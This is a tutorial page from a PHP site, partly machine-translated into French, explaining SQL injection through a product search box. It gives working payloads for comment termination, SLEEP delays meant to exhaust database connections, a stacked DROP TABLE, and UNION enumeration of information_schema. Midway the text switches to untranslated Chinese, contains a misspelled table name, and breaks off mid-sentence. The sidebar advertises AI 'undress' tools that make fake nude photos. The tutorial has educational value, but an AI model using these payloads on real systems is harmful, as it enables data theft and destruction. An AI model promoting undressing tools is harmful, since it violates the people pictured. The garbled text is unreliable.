Maison base de données SQL Comprendre rapidement les principes de base de l'injection SQL

Comprendre rapidement les principes de base de l'injection SQL

Nov 29, 2019 pm 02:41 PM
sql注入 原理

Comprendre rapidement les principes de base de l'injection SQL

Principes de base de l'injection SQL

La technologie WEB se développe chaque jour qui passe, mais l'art traditionnel consistant à épeler SQL à mains nues est toujours privilégié par de nombreux développeurs. Après tout, comparé à l’apprentissage d’un ensemble complexe de règles ORM, le faire à la main est plus pratique et intuitif. Habituellement, les gens qui écrivent du SQL eux-mêmes doivent avoir entendu dire que l'injection SQL est dangereuse, mais ils se disent toujours : mon instruction SQL est si simple qu'elle ne peut pas être injectée.

Prenez 5 minutes pour lire cet exemple complet, et vous ne devriez plus jamais oser prendre de risques à partir de maintenant.

Scène simple

Il existe une interface WEB qui permet de saisir les noms de produits et affiche les informations correspondantes sur le prix, la date de production et le lieu de production. Par exemple, saisissez Hammer pour afficher :

产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11

Nous ignorons le processus de création d'une interface de recherche Web et nous concentrons directement sur la partie clé : Injection SQL.

Si vous souhaitez implémenter la fonction ci-dessus, alors nous pouvons à peu près deviner que l'instruction SQL utilisée par le serveur est la suivante :

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
Copier après la connexion

où signifie que nous ne connaissons actuellement pas le spécifique nom de la table et nom du champ, et ce SQL est unique. Ce qui peut être manipulé, c'est le contenu d'entrée entre guillemets simples '%Hammer%'. Si nous saisissons directement un guillemet simple dans le champ de recherche. Autrement dit, cela devient

select ? from ? where ? Like '%'%';
Copier après la connexion

Cet épissage provoquera une erreur de syntaxe SQL et aucun résultat ne sera obtenu. Nous devons utiliser -- pour commenter le dernier guillemet simple.

select ? from ? where ? Like '%'; -- %';
Copier après la connexion

-- est suivi du contenu de l'annotation (vous pouvez également utiliser #), afin que vous puissiez obtenir toutes les informations sur le produit. Jusqu'à présent, il n'y a toujours aucun signal de danger.

产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
Paring Knife10.98China2019.11.11
Boning Knife19.98China2019.01.01

Essayez-le et

Conservez la partie guillemet simple extensible à l'étape précédente. Essayons une simple instruction de délai :

select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Copier après la connexion

À ce stade, la requête prendra 2 secondes pour renvoyer le résultat. Si le délai est prolongé, utilisez le script pour interroger plusieurs fois, et le pool de connexions à la base de données peut être. restauré en une seule fois.

Bien sûr, il y en a des encore plus destructeurs !

select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Copier après la connexion

Vous pouvez supprimer la table/base de données directement. Quant à savoir quelles tables se trouvent dans la base de données (c'est-à-dire comment déterminer xxxx dans la phrase SQL précédente) ?

Faites ce que vous voulez avec union

Nous devons savoir quelles tables contient cette base de données ! Ce n'est qu'ainsi que vous pourrez obtenir des informations utiles.

Vous pouvez utiliser union pour rassembler le contenu de différentes tables. Essayez-le :

select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
1234
.

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';
Copier après la connexion

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Analyse de la fonction et du principe de nohup Analyse de la fonction et du principe de nohup Mar 25, 2024 pm 03:24 PM

Analyse du rôle et du principe de nohup Dans les systèmes d'exploitation Unix et de type Unix, nohup est une commande couramment utilisée pour exécuter des commandes en arrière-plan. Même si l'utilisateur quitte la session en cours ou ferme la fenêtre du terminal, la commande peut. continuent toujours à être exécutés. Dans cet article, nous analyserons en détail la fonction et le principe de la commande nohup. 1. Le rôle de nohup : Exécuter des commandes en arrière-plan : Grâce à la commande nohup, nous pouvons laisser les commandes de longue durée continuer à s'exécuter en arrière-plan sans être affectées par la sortie de l'utilisateur de la session du terminal. Cela doit être exécuté

Discussion approfondie sur les principes et les pratiques du cadre Struts Discussion approfondie sur les principes et les pratiques du cadre Struts Feb 18, 2024 pm 06:10 PM

Analyse des principes et exploration pratique du framework Struts. En tant que framework MVC couramment utilisé dans le développement JavaWeb, le framework Struts a de bons modèles de conception et une bonne évolutivité et est largement utilisé dans le développement d'applications au niveau de l'entreprise. Cet article analysera les principes du framework Struts et l'explorera avec des exemples de code réels pour aider les lecteurs à mieux comprendre et appliquer le framework. 1. Analyse des principes du framework Struts 1. Architecture MVC Le framework Struts est basé sur MVC (Model-View-Con

Compréhension approfondie du principe d'implémentation de l'insertion par lots dans MyBatis Compréhension approfondie du principe d'implémentation de l'insertion par lots dans MyBatis Feb 21, 2024 pm 04:42 PM

MyBatis est un framework de couche de persistance Java populaire qui est largement utilisé dans divers projets Java. Parmi elles, l'insertion par lots est une opération courante qui peut améliorer efficacement les performances des opérations de base de données. Cet article explorera en profondeur le principe de mise en œuvre de l'insertion par lots dans MyBatis et l'analysera en détail avec des exemples de code spécifiques. Insertion par lots dans MyBatis Dans MyBatis, les opérations d'insertion par lots sont généralement implémentées à l'aide de SQL dynamique. En construisant un S contenant plusieurs valeurs insérées

Une discussion approfondie sur les fonctions et les principes des outils Linux RPM Une discussion approfondie sur les fonctions et les principes des outils Linux RPM Feb 23, 2024 pm 03:00 PM

L'outil RPM (RedHatPackageManager) dans les systèmes Linux est un outil puissant pour installer, mettre à niveau, désinstaller et gérer les packages logiciels système. Il s'agit d'un outil de gestion de progiciels couramment utilisé dans les systèmes RedHatLinux et est également utilisé par de nombreuses autres distributions Linux. Le rôle de l'outil RPM est très important. Il permet aux administrateurs système et aux utilisateurs de gérer facilement les progiciels sur le système. Grâce à RPM, les utilisateurs peuvent facilement installer de nouveaux progiciels et mettre à niveau les logiciels existants.

Notes de développement Laravel : méthodes et techniques pour empêcher l'injection SQL Notes de développement Laravel : méthodes et techniques pour empêcher l'injection SQL Nov 22, 2023 pm 04:56 PM

Notes de développement de Laravel : méthodes et techniques pour empêcher l'injection SQL Avec le développement d'Internet et les progrès continus de la technologie informatique, le développement d'applications Web est devenu de plus en plus courant. Au cours du processus de développement, la sécurité a toujours été une question importante que les développeurs ne peuvent ignorer. Parmi eux, la prévention des attaques par injection SQL est l’un des problèmes de sécurité qui nécessite une attention particulière lors du processus de développement. Cet article présentera plusieurs méthodes et techniques couramment utilisées dans le développement de Laravel pour aider les développeurs à prévenir efficacement l'injection SQL. Utilisation de la liaison de paramètres La liaison de paramètres est Lar

Explication détaillée du principe du plug-in de pagination MyBatis Explication détaillée du principe du plug-in de pagination MyBatis Feb 22, 2024 pm 03:42 PM

MyBatis est un excellent framework de couche de persistance. Il prend en charge les opérations de base de données basées sur XML et les annotations. Il est simple et facile à utiliser. Il fournit également un mécanisme de plug-in riche. Parmi eux, le plug-in de pagination est l'un des plug-ins les plus fréquemment utilisés. Cet article approfondira les principes du plug-in de pagination MyBatis et l'illustrera avec des exemples de code spécifiques. 1. Principe du plug-in de pagination MyBatis lui-même ne fournit pas de fonction de pagination native, mais vous pouvez utiliser des plug-ins pour implémenter des requêtes de pagination. Le principe du plug-in de pagination est principalement d'intercepter MyBatis

Une analyse approfondie des fonctions et des principes de fonctionnement de la commande Linux chage Une analyse approfondie des fonctions et des principes de fonctionnement de la commande Linux chage Feb 24, 2024 pm 03:48 PM

La commande chage dans le système Linux est une commande utilisée pour modifier la date d'expiration du mot de passe d'un compte utilisateur. Elle peut également être utilisée pour modifier la date d'utilisation la plus longue et la plus courte du compte. Cette commande joue un rôle très important dans la gestion de la sécurité des comptes utilisateur. Elle peut contrôler efficacement la période d'utilisation des mots de passe utilisateur et améliorer la sécurité du système. Comment utiliser la commande chage : La syntaxe de base de la commande chage est : chage [option] nom d'utilisateur Par exemple, pour modifier la date d'expiration du mot de passe de l'utilisateur "testuser", vous pouvez utiliser la commande suivante.

Les principes de base et les méthodes de mise en œuvre des méthodes d'héritage dans Golang Les principes de base et les méthodes de mise en œuvre des méthodes d'héritage dans Golang Jan 20, 2024 am 09:11 AM

Les principes de base et les méthodes d'implémentation des méthodes d'héritage Golang Dans Golang, l'héritage est l'une des caractéristiques importantes de la programmation orientée objet. Grâce à l'héritage, nous pouvons utiliser les propriétés et les méthodes de la classe parent pour obtenir la réutilisation et l'extensibilité du code. Cet article présentera les principes de base et les méthodes d'implémentation des méthodes d'héritage Golang, et fournira des exemples de code spécifiques. Le principe de base des méthodes d'héritage Dans Golang, l'héritage est implémenté en intégrant des structures. Lorsqu'une structure est incorporée dans une autre structure, la structure incorporée a été incorporée

See all articles